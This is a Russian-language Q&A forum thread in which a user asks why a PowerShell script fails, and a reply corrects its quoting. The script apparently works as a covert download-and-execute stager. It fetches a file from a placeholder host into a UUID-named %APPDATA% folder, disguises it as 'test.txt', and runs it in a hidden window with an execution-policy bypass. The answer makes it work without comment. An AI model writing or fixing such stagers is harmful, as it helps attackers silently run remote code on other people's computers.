выполнить скрипт из созданной папки с помощью Powershell - PullRequest
0 голосов
/ 28 ноября 2018

В PowerShell я могу загрузить сценарий в определенную папку, созданную случайным именем, но не могу найти правильный способ выполнить сценарий оттуда. Вот код, который я использовал:

$uuid=(Get-WmiObject Win32_ComputerSystemProduct).UUID;
$path = $env:appdata+'\'+$uuid; $h=$path+'\d';  
if(!(test-path $path)) { New-Item -ItemType Directory -Force -Path 
$path;};
Invoke-WebRequest mywebsitefordownloadingscript -OutFile $path\\test.txt;
start-process -Windowstyle hidden cmd '/C 
'powershell.exe' -exec bypass $path\\test.txt';

что-то былоотсутствует в последней строке, возможно, проблема не исчезнет, ​​если я тоже использую '+ $ path +'.

Есть предложения ??

1 Ответ

0 голосов
/ 28 ноября 2018

Проблема в ваших одинарных кавычках на последних двух строках.Поскольку вы заключили $path в одинарные кавычки, он не раскрывается и воспринимается буквально.Измените на двойные кавычки, чтобы расширить переменную, и это должно работать.

$uuid=(Get-WmiObject Win32_ComputerSystemProduct).UUID
$path = $env:appdata+'\'+$uuid
$h=$path+'\d'
if(!(test-path $path)) { 
    New-Item -ItemType Directory -Force -Path $path
}
Invoke-WebRequest mywebsitefordownloadingscript -OutFile $path\\test.txt
start-process -Windowstyle hidden cmd "/C 'powershell.exe' -exec bypass $path\\test.txt"
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...